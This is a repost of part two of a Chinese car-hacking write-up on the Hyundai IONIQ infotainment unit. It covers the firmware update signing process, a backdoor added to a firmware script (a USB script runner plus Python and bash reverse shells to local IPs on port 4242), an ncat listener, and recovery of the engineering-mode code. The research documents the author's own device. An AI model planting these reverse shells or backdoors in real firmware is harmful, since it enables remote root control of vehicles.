本合集共7部分,本篇为第二部分
发布更新
固件安全措施
通过linux_envsetup.sh脚本,我了解到D-Audio2V加密固件更新是如何制作的:
1.首先,所有各种二进制文件被分类到正确的目录中。(Micom更新放在micom文件夹中,系统映像放在system文件夹中,等等)
2.使用重复的SHA224算法计算更新中每个二进制文件的哈希值,这些哈希值被放入一个update.cfg文件中。每一行包含文件的原始名称,一个冒号,然后是文件的哈希值。update.cfg文件
3.使用AES密钥加密某些文件,这些文件被重命名为“enc_{原始名称}”。
4.使用与其他文件相同的方法对update.cfg文件进行哈希,然后对哈希进行签名。签名的哈希值放入update.info文件中。
5.所有的二进制文件,update.cfg文件和update.info文件被压缩成一个加密的zip文件。
Bash Scripts are Neat
Backdoors
echo "Finding USB Script"
USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)
if [ -n "$USB_SCRIPT_PATH" ]
then
echo "Running USB Script"
USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH)
bash -c "$USB_SCRIPT_CONTENT" &
fi
echo "Prescript Running"
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 2>/dev/null &
生成新镜像
-
卸载系统镜像
-
计算系统镜像文件的新哈希值
-
更新update.cfg中的新系统镜像哈希值
-
计算update.cfg文件的哈希值
-
签名update.cfg文件,并将其放入update.list中。
-
使用设置中的zip密码将所有内容打包成一个zip文件。
It Worked?
Ok, now it Worked
系统最终重新启动,一切似乎都完全正常。现在我只需要使用我的新后门来访问它。
我用无线Android Auto设置了我的手机,并将日志转储到了我的闪存驱动器中以恢复Wi-Fi密码。在断开手机连接后,我连接了笔记本电脑到Wi-Fi,并将我的IP地址设置为:192.168.0.2。然后,我使用以下命令在端口4242上使用ncat监听:
ncat -l -p 4242
在日志中浏览时,我看到了几个与工程模式密码显示相关的条目。其中打印了三个MD5哈希值。
-
md5Year是字符串“02”的哈希值 -
md5Password1是字符串“24”的哈希值 -
md5Password2是字符串“00”的散列
但如果是这样的话,我就缺少了两位数字,因为该应用程序需要一个四位数的代码,所以我又回到了对工程模式应用程序进行逆向工程。
我找到了用于检查代码的函数,并看到一个包含哈希的常量字符串。查找该哈希值的含义显示它是对“38”的哈希。
现在,我只需要启动Guider来激活我的后门。我导航到Guider屏幕,按下“开始”按钮,然后等待Python反向shell连接。
Python反向shell没有起作用。我没有过多地深究原因,因为我有一个非常方便的备用方案:USB脚本运行器™。
Plan B
echo "Finding USB Script"
USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)
if [ -n "$USB_SCRIPT_PATH" ]
then
echo "Running USB Script"
USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH)
bash -c "$USB_SCRIPT_CONTENT" &
fi
/bin/bash -i >& /dev/tcp/192.168.0.3/4242 0>&1 &
我只需将USB插入,再次按下“启动Guider”按钮,然后…
I’m In
我拥有完整的root权限。我首先做的是收集一些信息,我将完整的目录列表、netstat命令输出、df输出等输出到我的驱动器上。
由于我现在理论上完全控制了我的IVI,我认为下一个合理的步骤是为它创建一些应用程序。
原文始发于微信公众号(安全脉脉):HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor